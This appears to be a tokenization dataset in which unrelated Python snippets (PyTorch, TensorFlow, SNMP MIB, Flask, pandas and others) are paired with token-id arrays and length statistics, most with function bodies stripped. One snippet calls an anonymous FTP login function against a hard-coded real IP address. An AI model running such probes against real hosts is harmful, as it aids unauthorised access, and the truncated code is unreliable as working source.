62,
29356,
1330,
16089,
6601,
17401,
11,
13302,
6048,
278,
17401,
11,
399,
1137,
6601,
17401,
11,
317,
4825,
6601,
17401,
11,
3467,
198,
220,
220,
220,
9966,
14881,
1404,
34,
6601,
17401,
11,
22108,
14881,
1404,
34,
... | 3.204545 | 44 |
from typing import Dict, Text, Any, Tuple, Union
import torch
from torch import nn
| [
6738,
19720,
1330,
360,
713,
11,
8255,
11,
4377,
11,
309,
29291,
11,
4479,
198,
198,
11748,
28034,
198,
6738,
28034,
1330,
299,
77,
628,
628,
628
] | 3.296296 | 27 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from .base import BaseCommand
from checkmate.management.helpers import save_project_config
import sys
import os
import os.path
import json
import time
import uuid
import logging
logger = logging.getLogger(__name__)
"""
Creates a new project. The comman... | [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
6738,
11593,
37443,
834,
1330,
28000,
1098,
62,
17201,
874,
198,
6738,
764,
8692,
1330,
7308,
21575,
198,
6738,
2198,
9830,
13,
27604,
13,
16794,
364,
1330,
3613,
6... | 3.467153 | 137 |
import tensorflow as tf
from tensorflow.python.ops import control_flow_ops
from six.moves import cPickle
import unet
import simplified_unet
arg_scope = tf.contrib.framework.arg_scope
| [
11748,
11192,
273,
11125,
355,
48700,
198,
6738,
11192,
273,
11125,
13,
29412,
13,
2840,
1330,
1630,
62,
11125,
62,
2840,
198,
6738,
2237,
13,
76,
5241,
1330,
269,
31686,
293,
198,
11748,
555,
316,
198,
11748,
27009,
62,
403,
316,
198... | 3.172414 | 58 |
#
# PySNMP MIB module GNOME-SMI (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/GNOME-SMI
# Produced by pysmi-0.3.4 at Wed May 1 13:19:45 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23... | [
2,
198,
2,
9485,
15571,
7378,
337,
9865,
8265,
40339,
12,
50,
8895,
357,
4023,
1378,
16184,
76,
489,
8937,
13,
785,
14,
79,
893,
11632,
8,
198,
2,
7054,
45,
13,
16,
2723,
2393,
1378,
14,
14490,
14,
67,
615,
47562,
19,
14,
13603,... | 2.935841 | 1,356 |
import ftplib
if __name__ == '__main__':
anonlogin('154.221.18.35') | [
11748,
10117,
489,
571,
628,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
281,
261,
38235,
10786,
21526,
13,
26115,
13,
1507,
13,
2327,
11537
] | 2.242424 | 33 |
#!/bin/python
import getopt
import sys
convert('amplifier')
convert('attacker')
convert('victim')
convert('amplifier_input')
convert('amplifier_output')
| [
2,
48443,
8800,
14,
29412,
198,
198,
11748,
651,
8738,
198,
11748,
25064,
628,
198,
1102,
1851,
10786,
321,
489,
7483,
11537,
198,
1102,
1851,
10786,
1078,
10735,
11537,
198,
1102,
1851,
10786,
32433,
320,
11537,
198,
1102,
1851,
10786,
... | 2.736842 | 57 |
##############################################################################
#
# Copyright (c) 2008 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOF... | [
29113,
29113,
7804,
4242,
2235,
198,
2,
198,
2,
15069,
357,
66,
8,
3648,
1168,
3008,
5693,
290,
25767,
669,
13,
198,
2,
1439,
6923,
33876,
13,
198,
2,
198,
2,
770,
3788,
318,
2426,
284,
262,
8617,
286,
262,
1168,
3008,
5094,
13789... | 4.127193 | 228 |
from flask import jsonify, request, url_for, g, current_app, render_template
from app import db
from app.deals.models import Deal
from app.api import bp
from app.api.auth import token_auth
from app.api.errors import bad_request
from app.email import send_email
@bp.route('/deals/<int:id>', methods=['GET'])
@token_auth.... | [
6738,
42903,
1330,
33918,
1958,
11,
2581,
11,
19016,
62,
1640,
11,
308,
11,
1459,
62,
1324,
11,
8543,
62,
28243,
198,
6738,
598,
1330,
20613,
198,
6738,
598,
13,
14302,
13,
27530,
1330,
15138,
198,
6738,
598,
13,
15042,
1330,
275,
7... | 2.887701 | 187 |
# função usada abaixo 'print()' é usada para exibir ou imprimir mensagens no console.
# Iteiros | Int
print(10)
# Será exibido no console o numero 10
# Ponto Flutuante | Float
print(9.5)
# Cadeia de caracteres | Strings
cadeia_de_caracter = "Olá Mundo!"
print(cadeia_de_caracter)
# Boleano | Boolean
valor_verdadeiro... | [
2,
1257,
16175,
28749,
514,
4763,
450,
64,
844,
78,
705,
4798,
3419,
6,
38251,
514,
4763,
31215,
409,
571,
343,
267,
84,
848,
3036,
343,
285,
641,
363,
641,
645,
8624,
13,
198,
198,
2,
632,
20295,
4951,
930,
2558,
198,
4798,
7,
... | 2.417808 | 292 |
from tuprolog import logger
# noinspection PyUnresolvedReferences
import jpype
# noinspection PyUnresolvedReferences
import jpype.imports
# noinspection PyProtectedMember
from _jpype import _JObject as JObjectClass
# noinspection PyUnresolvedReferences
import java.util as _jutils
# noinspection PyUnresolvedReferences
i... | [
6738,
256,
929,
40329,
1330,
49706,
198,
2,
645,
1040,
14978,
9485,
3118,
411,
5634,
19927,
198,
11748,
474,
79,
2981,
198,
2,
645,
1040,
14978,
9485,
3118,
411,
5634,
19927,
198,
11748,
474,
79,
2981,
13,
320,
3742,
198,
2,
645,
10... | 2.949495 | 693 |
#!/usr/bin/env python
# Copyright 2018-2019 Alvaro Bartolome @ alvarob96 in GitHub
# See LICENSE for details.
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
198,
2,
15069,
2864,
12,
23344,
978,
7785,
78,
13167,
349,
462,
2488,
435,
7785,
672,
4846,
287,
21722,
198,
2,
4091,
38559,
24290,
329,
3307,
13,
198
] | 3 | 37 |
from dataclasses import dataclass
from typing import List
from spotdl.types.song import Song
from spotdl.utils.spotify import SpotifyClient
class SavedError(Exception):
"""
Base class for all exceptions related to saved tracks.
"""
@dataclass(frozen=True)
| [
6738,
4818,
330,
28958,
1330,
4818,
330,
31172,
198,
6738,
19720,
1330,
7343,
198,
6738,
4136,
25404,
13,
19199,
13,
34050,
1330,
10940,
198,
6738,
4136,
25404,
13,
26791,
13,
20485,
1958,
1330,
26778,
11792,
628,
198,
4871,
8858,
276,
... | 3.358025 | 81 |
#!/usr/bin/python3.6.0
# -*- coding: utf-8 -*-
COUNTRIES = {
"argentina" : ".com.ar",
"bolivia" : ".com.bo",
"brasil" : "http://www.public-holidays.us/BR_ES_{0}_Feriados%20nacionais",
"chile" : ".cl",
"colombia" : ".co",
"ecuador" : ".la/ecu... | [
2,
48443,
14629,
14,
8800,
14,
29412,
18,
13,
21,
13,
15,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
34,
19385,
5446,
11015,
796,
1391,
198,
197,
1,
853,
298,
1437,
1,
220,
220,
220,
220,
220,
220... | 1.647727 | 440 |
#!/usr/bin/env python
#-*- coding: ISO-8859-1 -*-
#pylint: disable-msg=E1101,C0103,R0902
# system modules
import os
import sys
import stat
import time
import thread
import traceback
from types import GeneratorType
# ipython modules
import IPython
from IPython import release
# cmssh modules
import cmssh
from cm... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
12,
9,
12,
19617,
25,
19694,
12,
3459,
3270,
12,
16,
532,
9,
12,
198,
2,
79,
2645,
600,
25,
15560,
12,
19662,
28,
36,
1157,
486,
11,
34,
486,
3070,
11,
49,
2931,
2999,
198,
... | 2.283252 | 3,075 |
# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | [
2,
220,
220,
15069,
357,
66,
8,
13130,
350,
37382,
47,
37382,
46665,
13,
1439,
6923,
33876,
13,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
345,
743,
407,
779,
428,
... | 3.506803 | 294 |
import sys, os
# -- General configuration -----------------------------------------------------
extensions = ['sphinx.ext.todo']
source_suffix = '.rst'
source_encoding = 'utf-8'
master_doc = 'index'
project = u'spray'
copyright = u'2011-2012 spray.cc.'
version = '$VERSION$'
release = '$VERSION$'
exclude_patterns = []... | [
11748,
25064,
11,
28686,
198,
198,
2,
1377,
3611,
8398,
20368,
19351,
12,
198,
198,
2302,
5736,
796,
37250,
82,
746,
28413,
13,
2302,
13,
83,
24313,
20520,
198,
10459,
62,
37333,
844,
796,
45302,
81,
301,
6,
198,
10459,
62,
12685,
7... | 3.043478 | 299 |
# Alexandra Macuga, 2019-03-26
# Write a program that asks the user to input a positive integer and tells the user whether or not the number is a prime.
# Adapted from: https://web.microsoftstream.com/video/3ef695e3-9155-4487-b48e-0867834c76ad
# Ask the user for a value of i (positive integer)
i = int(input('Please en... | [
2,
44075,
4100,
30302,
11,
13130,
12,
3070,
12,
2075,
198,
2,
19430,
257,
1430,
326,
7893,
262,
2836,
284,
5128,
257,
3967,
18253,
290,
4952,
262,
2836,
1771,
393,
407,
262,
1271,
318,
257,
6994,
13,
198,
2,
30019,
276,
422,
25,
3... | 3.445283 | 265 |
import nltk
import difflib
from nltk.translate.bleu_score import SmoothingFunction
smoothie = SmoothingFunction().method4
# The higher the better
if __name__ == '__main__':
hypothesis = 'It is a cat at the room'
reference = 'It is a cat inside the room'
print("Bleu:", get_bleu_score(hypothesis, refe... | [
11748,
299,
2528,
74,
198,
11748,
814,
8019,
198,
6738,
299,
2528,
74,
13,
7645,
17660,
13,
903,
84,
62,
26675,
1330,
2439,
1025,
722,
22203,
198,
198,
5796,
5226,
494,
796,
2439,
1025,
722,
22203,
22446,
24396,
19,
628,
198,
2,
383... | 2.861446 | 166 |
# coding: utf-8
"""
Aspose.Diagram Cloud API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: 3.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
#f... | [
2,
19617,
25,
3384,
69,
12,
23,
198,
198,
37811,
198,
220,
220,
220,
1081,
3455,
13,
18683,
6713,
10130,
7824,
20984,
628,
220,
220,
220,
1400,
6764,
2810,
357,
27568,
416,
2451,
7928,
6127,
5235,
3740,
1378,
12567,
13,
785,
14,
203... | 2.654959 | 484 |
# Simple python implementation of creating a pandas data frame with word vectors
import pandas as pd
from collections import Counter
sayings = [
"Rose is a rose is a rose is a rose.",
"We are going to need a bigger boat.",
"Huston, we have a problem"
]
unique_words = set()
for saying in sayings:
uniq... | [
2,
17427,
21015,
7822,
286,
4441,
257,
19798,
292,
1366,
5739,
351,
1573,
30104,
198,
198,
11748,
19798,
292,
355,
279,
67,
198,
6738,
17268,
1330,
15034,
198,
198,
16706,
654,
796,
685,
198,
220,
220,
220,
366,
31087,
318,
257,
8278,... | 2.690972 | 288 |
from django_jinja import library
from mozillians.announcements.models import Announcement
@library.global_function
def latest_announcement():
"""Return the latest published announcement or None."""
if Announcement.objects.published().count():
return Announcement.objects.published().latest()
retu... | [
6738,
42625,
14208,
62,
18594,
6592,
1330,
5888,
198,
198,
6738,
6941,
89,
359,
1547,
13,
1236,
8652,
902,
13,
27530,
1330,
43470,
434,
628,
198,
31,
32016,
13,
20541,
62,
8818,
198,
4299,
3452,
62,
1236,
8652,
434,
33529,
198,
220,
... | 3.526882 | 93 |
import datetime
import time
from fedot.core.optimisers.timer import OptimisationTimer
from fedot.core.pipelines.tuning.timer import TunerTimer
| [
11748,
4818,
8079,
198,
11748,
640,
198,
198,
6738,
11672,
313,
13,
7295,
13,
40085,
21572,
13,
45016,
1330,
30011,
5612,
48801,
198,
6738,
11672,
313,
13,
7295,
13,
79,
541,
20655,
13,
28286,
278,
13,
45016,
1330,
13932,
263,
48801,
... | 3.395349 | 43 |
import typing as tp
from abc import ABCMeta, abstractmethod
from smok.predicate.event import Event
| [
11748,
19720,
355,
256,
79,
198,
6738,
450,
66,
1330,
9738,
48526,
11,
12531,
24396,
198,
198,
6738,
895,
482,
13,
28764,
5344,
13,
15596,
1330,
8558,
628,
198
] | 3.517241 | 29 |
from scipy.optimize import linprog
import numpy as np
# Objective function
z = np.array([300,500,200])
expense = 75000
# Constraints
C = np.array([
[ 10, 7.5, 4], #C1
[ 0, 10, 0], #C2
[0.5, 0.4, 0.5], #C3
[ 0, 0.4, 0], #C4
[0.5, 0.1, 0.5], #C5
[0.4, ... | [
6738,
629,
541,
88,
13,
40085,
1096,
1330,
9493,
1676,
70,
198,
11748,
299,
32152,
355,
45941,
198,
198,
2,
37092,
2163,
198,
89,
796,
45941,
13,
18747,
26933,
6200,
11,
4059,
11,
2167,
12962,
198,
11201,
1072,
796,
5441,
830,
198,
... | 1.668724 | 486 |
"""
Exposing concrete items dynamically.
Makes it possible to add support for a new website just by
creating a new Python module under this package, and declaring
a concrete implementation for ``RealEstateHomePage``, ``RealEstateListPage`` and ``RealEstatePage``.
"""
import importlib.util
import inspect
import pkgutil
... | [
37811,
198,
3109,
32927,
10017,
3709,
32366,
13,
198,
44,
1124,
340,
1744,
284,
751,
1104,
329,
257,
649,
3052,
655,
416,
198,
20123,
278,
257,
649,
11361,
8265,
739,
428,
5301,
11,
290,
18684,
198,
64,
10017,
7822,
329,
7559,
15633,
... | 2.959796 | 1,567 |
"""add foreign key
Revision ID: 11b80498abeb
Revises: bce514e0541f
Create Date: 2021-11-08 18:26:51.860396
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '11b80498abeb'
down_revision = 'bce514e0541f'
branch_labels = None
depends_on = None
| [
37811,
2860,
3215,
1994,
198,
198,
18009,
1166,
4522,
25,
1367,
65,
1795,
36260,
397,
1765,
198,
18009,
2696,
25,
275,
344,
47396,
68,
2713,
3901,
69,
198,
16447,
7536,
25,
33448,
12,
1157,
12,
2919,
1248,
25,
2075,
25,
4349,
13,
45... | 2.57265 | 117 |
#!/usr/bin/env python3
# ---------------------------------------------------------------------
# bak_to_fossil_3.py
#
# Step 3 (alternate): Read data from a CSV file that was edited in
# step 2, where commit messages were added and files to be skipped
# were flagged. Run fossil (instead of git) to commit each cha... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
198,
2,
16529,
30934,
198,
2,
220,
275,
461,
62,
1462,
62,
69,
793,
346,
62,
18,
13,
9078,
198,
2,
198,
2,
220,
5012,
513,
357,
33645,
378,
2599,
4149,
1366,
422,
257,
44189,... | 2.969582 | 526 |
"""
Provide function for population vector correlation calculation
"""
import numpy as np
from .. import errors as err
def population_vector_correlation(stack_0, stack_1, **kwargs):
"""Calculates the bin-wise correlation between two stacks of rate maps
Each stack corresponds to a separate Task, or trial... | [
37811,
198,
15946,
485,
2163,
329,
3265,
15879,
16096,
17952,
198,
37811,
198,
11748,
299,
32152,
355,
45941,
198,
198,
6738,
11485,
1330,
8563,
355,
11454,
628,
198,
4299,
3265,
62,
31364,
62,
10215,
49501,
7,
25558,
62,
15,
11,
8931,
... | 2.422539 | 3,434 |
import os
import re
from typing import Any, Iterable, Union
import simplejson as json
from werkzeug.exceptions import BadRequest as WerkzeugBadRequest
from werkzeug.wrappers import Response
from ..services.auth.adapter import HEADER_NAME
from ..shared.env import is_truthy
from ..shared.exceptions import ViewException... | [
11748,
28686,
198,
11748,
302,
198,
6738,
19720,
1330,
4377,
11,
40806,
540,
11,
4479,
198,
198,
11748,
2829,
17752,
355,
33918,
198,
6738,
266,
9587,
2736,
1018,
13,
1069,
11755,
1330,
7772,
18453,
355,
370,
9587,
2736,
1018,
22069,
18... | 2.50625 | 1,760 |
from typing import Any, Dict
from overrides import overrides
from keras.layers import Input
from keras.layers.wrappers import TimeDistributed
from ...data.instances.sentence_selection_instance import SentenceSelectionInstance
from ...layers.attention.attention import Attention
from ...layers.wrappers.encoder_wrapper i... | [
6738,
19720,
1330,
4377,
11,
360,
713,
198,
6738,
23170,
1460,
1330,
23170,
1460,
198,
6738,
41927,
292,
13,
75,
6962,
1330,
23412,
198,
6738,
41927,
292,
13,
75,
6962,
13,
29988,
11799,
1330,
3862,
20344,
6169,
198,
198,
6738,
2644,
... | 2.41977 | 2,873 |
perguntas = {
'Pergunta 1': {
'pergunta': 'Quanto é 2+2?',
'respostas': {
'a': '1',
'b': '4',
'c': '8'
},
'resposta_certa': 'b',
},
'Pergunta 2': {
'pergunta': 'Quanto é 3*2?',
'respostas': {
'a': '4',
... | [
525,
70,
2797,
292,
220,
796,
1391,
198,
220,
220,
220,
705,
5990,
70,
44424,
352,
10354,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
705,
525,
70,
44424,
10354,
705,
4507,
14723,
38251,
362,
10,
17,
30,
3256,
198,
220,
220,
220... | 1.622291 | 969 |
# -*-coding:utf-8-*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import contextlib
import json
import urllib
import urllib2
| [
2,
532,
9,
12,
66,
7656,
25,
40477,
12,
23,
12,
9,
12,
198,
6738,
11593,
37443,
834,
1330,
4112,
62,
11748,
198,
6738,
11593,
37443,
834,
1330,
7297,
198,
6738,
11593,
37443,
834,
1330,
3601,
62,
8818,
198,
6738,
11593,
37443,
834,
... | 3.328571 | 70 |
import re
import itertools
import dataclasses
import typing as t
import urllib.parse
from appyter.ext.pathlib.chroot import ChrootPurePosixPath
from appyter.ext.dict import dict_merge, expand_dotmap
url_expr = re.compile(
r'^((?P<scheme>.+?)://(?P<authority>((?P<username>[^/:@\?#]+?)(:(?P<password>[^/@\?#]+?))?@)?(?... | [
11748,
302,
198,
11748,
340,
861,
10141,
198,
11748,
4818,
330,
28958,
198,
11748,
19720,
355,
256,
198,
11748,
2956,
297,
571,
13,
29572,
198,
6738,
598,
88,
353,
13,
2302,
13,
6978,
8019,
13,
354,
15763,
1330,
609,
15763,
49548,
216... | 2.464135 | 474 |
# Copyright 2019, The TensorFlow Federated Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | [
2,
15069,
13130,
11,
383,
309,
22854,
37535,
35089,
515,
46665,
13,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
345,
743,
407,
779,
428,
2393,
2845,
287,
11846,
351,
... | 2.977038 | 871 |
import argparse
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
import numpy as np
from rlo import experiment_result
from rlo import plotting
from rlo import utils
if __name__ == "__main__":
main()
| [
11748,
1822,
29572,
198,
11748,
2603,
29487,
8019,
198,
198,
6759,
29487,
8019,
13,
1904,
7203,
46384,
4943,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
198,
11748,
299,
32152,
355,
45941,
198,
198,
6738,
374,
5439,
13... | 2.987179 | 78 |
import os
from conans import ConanFile, CMake, RunEnvironment, tools
import shutil
| [
11748,
28686,
198,
6738,
369,
504,
1330,
31634,
8979,
11,
327,
12050,
11,
5660,
31441,
11,
4899,
198,
11748,
4423,
346,
628
] | 3.818182 | 22 |
'''
Given two integer arrays nums1 and nums2, return an array of their intersection. Each element in the result must appear as many times as it shows in both arrays and you may return the result in any order.
Example 1:
Input: nums1 = [1,2,2,1], nums2 = [2,2]
Output: [2,2]
Example 2:
Input: nums1 = [4,9,5],... | [
7061,
6,
201,
198,
15056,
734,
18253,
26515,
997,
82,
16,
290,
997,
82,
17,
11,
1441,
281,
7177,
286,
511,
16246,
13,
5501,
5002,
287,
262,
1255,
1276,
1656,
355,
867,
1661,
355,
340,
2523,
287,
1111,
26515,
290,
345,
743,
1441,
2... | 2.782313 | 294 |
# -*- coding: utf-8 -*-
from pysbd.abbreviation_replacer import AbbreviationReplacer
from pysbd.lang.common import Common, Standard
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
6738,
279,
893,
17457,
13,
397,
4679,
47625,
62,
35666,
11736,
1330,
2275,
4679,
47625,
39232,
11736,
198,
6738,
279,
893,
17457,
13,
17204,
13,
11321,
1330,
8070,
11,
8... | 2.933333 | 45 |
# -*- coding: utf-8 -*-
from __future__ import with_statement, division
from scarlett_os.compat import os
from scarlett_os.compat import errno
from scarlett_os.compat import environ
from scarlett_os.compat import text_type
from scarlett_os.compat import _FSCODING
def format_size(size):
"""Turn an integer size v... | [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
6738,
11593,
37443,
834,
1330,
351,
62,
26090,
11,
7297,
198,
198,
6738,
10153,
15503,
62,
418,
13,
5589,
265,
1330,
28686,
198,
6738,
10153,
15503,
62,
418,
13,
... | 2.411051 | 1,484 |
import math
import numpy
import pygame
CONFIG = {
"START_POS": (400, 400),
"PLAYER_COLOUR": (0, 0, 255),
"PLAYER_RADIUS": 10,
"FOV": (math.pi / 2),
"RESOLUTION": 0.25,
"ROTATE_SPEED": (math.pi / 360),
"MOVE_SPEED": 0.5,
"VIEW_DIST": 300
}
WIDTH = 800
KEYS = {
107... | [
11748,
10688,
201,
198,
11748,
299,
32152,
201,
198,
11748,
12972,
6057,
201,
198,
201,
198,
10943,
16254,
796,
1391,
201,
198,
220,
220,
220,
366,
2257,
7227,
62,
37997,
1298,
357,
7029,
11,
7337,
828,
201,
198,
220,
220,
220,
366,
... | 1.713942 | 416 |